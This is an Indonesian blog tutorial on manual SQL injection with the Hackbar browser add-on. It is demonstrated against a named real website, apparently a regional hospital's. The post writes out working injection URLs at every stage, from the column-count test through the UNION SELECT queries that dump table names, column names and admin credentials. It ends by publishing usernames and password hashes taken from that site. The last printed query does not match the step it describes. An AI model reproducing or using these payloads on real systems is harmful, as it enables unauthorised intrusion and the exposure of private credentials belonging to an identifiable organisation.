SQL Injection Manual Menggunakan Hackbar Agustus 28, 2018 | SQLI | No comments |
Assalamualaikum..
Selamat malam semuanya, apa kabar? Pada kesempatan kali ini saya akan membagikan tutorial SQL Injection Manual Menggunakan Hackbar. Selamat membaca! Sebelumnya saya sudah memiliki website yang akan kita jadikan bahan praktik, yaitu http://rsudkarawang.id/berita.php?i=20.
Selanjutnya, tambahkan karakter (') untuk mengetes apakah web tersebut vuln atau tidak. http://rsudkarawang.id/berita.php?i=20'. Kemudian, klik tulisan Load URL yang berada di atas kiri hackbar. Atau kalau mau lebih cepat, tekan CTRL+A.
Kita bisa melihat perbedaan tampilan website sebelum dan sesudah ditambahkan ('). Ketika diberi karakter ('), sebagian tampilan website hilang dan muncul pesan error:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''20''' at line 1 Pesan di atas adalah salah satu contoh error yang menunjukkan celah SQL Injection. Setiap website memiliki error yang berbeda-beda. Intinya, jika ada perubahan pada tampilan web setelah ditambahkan karakter ('), kemungkinan besar web tersebut vuln SQL Injection. Selanjutnya, kita akan mencari jumlah column database website tersebut menggunakan perintah Order By. Jadi perintahnya menjadi http://rsudkarawang.id/berita.php?i=20' order by 1-- -.
Website tersebut kembali normal atau seperti semula sebelum ditambahkan ('). Tugas kita sekarang adalah mengurutkan angka sampai web tersebut kembali error. Untuk lebih jelasnya seperti ini:
http://rsudkarawang.id/berita.php?i=20' order by 1-http://rsudkarawang.id/berita.php?i=20' order by 2-http://rsudkarawang.id/berita.php?i=20' order by 3-http://rsudkarawang.id/berita.php?i=20' order by 4-http://rsudkarawang.id/berita.php?i=20' order by 5-http://rsudkarawang.id/berita.php?i=20' order by 6-http://rsudkarawang.id/berita.php?i=20' order by 7--
-
Website masih normal Website masih normal Maih normal Masih juga Masih -_Udah mulai panas :v Boom, web kembali error :p
Setelah sampai angka 7, website kembali error dengan pesan:
Unknown column '7' in 'order clause' Unknown column 7 kalau kita terjemahkan ke bahasa Indonesia artinya tidak diketahui kolom 7. Jadi, website tersebut memiliki 6 column. Selanjutnya, kita menggunakan perintah Union Select untuk mengurutkan jumlah column. Tambahkan juga tanda (-) di depan angka url. Maka menjadi seperti ini, http://rsudkarawang.id/berita.php?i=-20' union select 1,2,3,4,5,6-- -
Kali ini tampilan website kembali berubah. Sekarang terdapat angka 2, 3, dan 5. Ketiga angka itu fungsinya sama, yaitu untuk menjalankan perintah kita nantinya. Di
sini saya akan mencoba dump username dan password admin dari web tesebut. Pilih satu angka, saya memilih angka 2. Sekarang, angka 2 kita ganti dengan group_concat(table_name separator 0x3c62723e)dan di ujung di depan tanda -- - tambahkan perintah from information_schema.tables where table_schema=database(). Jadi, perintahnya seperti ini: http://rsudkarawang.id/berita.php?i=-20' union select 1,group_concat(table_name separator 0x3c62723e),3,4,5,6 from information_schema.tables where table_schema=database()-- -
Nah, sekarang kita sudah mendapatkan nama-nama table di database web tersebut. Karena tujuan kita mencari username dan password admin, maka cari table yang
kemungkinan berisi username dan password admin. Feeling saya mengatakan table tersebut adalah adm_web. Kemudian, kita ganti group_concat(table_name separator 0x3c62723e) menjadi group_concat(column_name separator 0x3c62723e). Kita ganti juga perintah from information_schema.tables where table_schema= menjadi from information_schema.columns where table_name=. Lalu, kita ubah database() menjadi adm_web yang sudah kita ubah ke bentuk hex. Cara mengubahnya, blok kata yang akan kita ubah ke bentuk hex (adm_web) kemudian tekan tanda panah sebelah kanan 0xHEX. Maka bentuk hex dari adm_web adalah 0x61646d5f776562. Jadi perintah kita seperti ini: http://rsudkarawang.id/berita.php?i=-20' union select 1,group_concat(column_name separator 0x3c62723e),3,4,5,6 from information_schema.columns where table_name=0x61646d5f776562-- -
Taraa.. Ternaya feeling saya tadi benar. Table adm_web berisi username dan password admin. Dalam table adm_web terdapat 4 column
yaitu usrname, pass, nama, dan email. Karena kita hanya mencari username dan password, maka column yang kita gunakan adalah usrname dan pass. Sekarang, kita ganti group_concat(column_name separator 0x3c62723e)menjadi group_concat(usrname,0x203a3a3a20,pass separator 0x3c62723e). 0x203a3a3a20 adalah bentuk hex dari (:::), tujuannya untuk memisahkan antara username dan password. Lalu, kita ubah information_schema.columns where table_name=0x61646d5f776562 menjadi adm_web. Mengapa? Karena column usrnamedan pass berada pada table adm_web. Maka perintahnya menjadi begini: http://rsudkarawang.id/berita.php?i=-20' union select 1,group_concat(column_name separator 0x3c62723e),3,4,5,6 from information_schema.columns where table_name=0x61646d5f776562-- -
Yuhuuu.. Kita sudah mendapatkan username dan password admin web tersebut.
admin ::: *EB1443BAA18E8CE79AC55DA3F6641902DC6C2BB0 simrsudk ::: *AE27799888FA65B5C838395911E947C5F49D5A78 Sekarang kembali pada tujuan masing-masing. Tujuan saya di sini hanya berbagi semata tanpa ada niatan merusak. Aksi ilegal yang anda lakukan di luar tanggung jawab saya :p Oke sekian tutorial mengenai SQL Injection Manual Menggunakan Hackbar. Semoga bermanfaat untuk kita semua. Maaf apabila ada kekurangan atau salah kata. Jika ingin bertanya silahkan di komentar, InshaAllah saya jawab :D Wassalamualaikum.. http://kha-id.blogspot.com/2018/08/sql-injection-manual-menggunakan-hackbar.html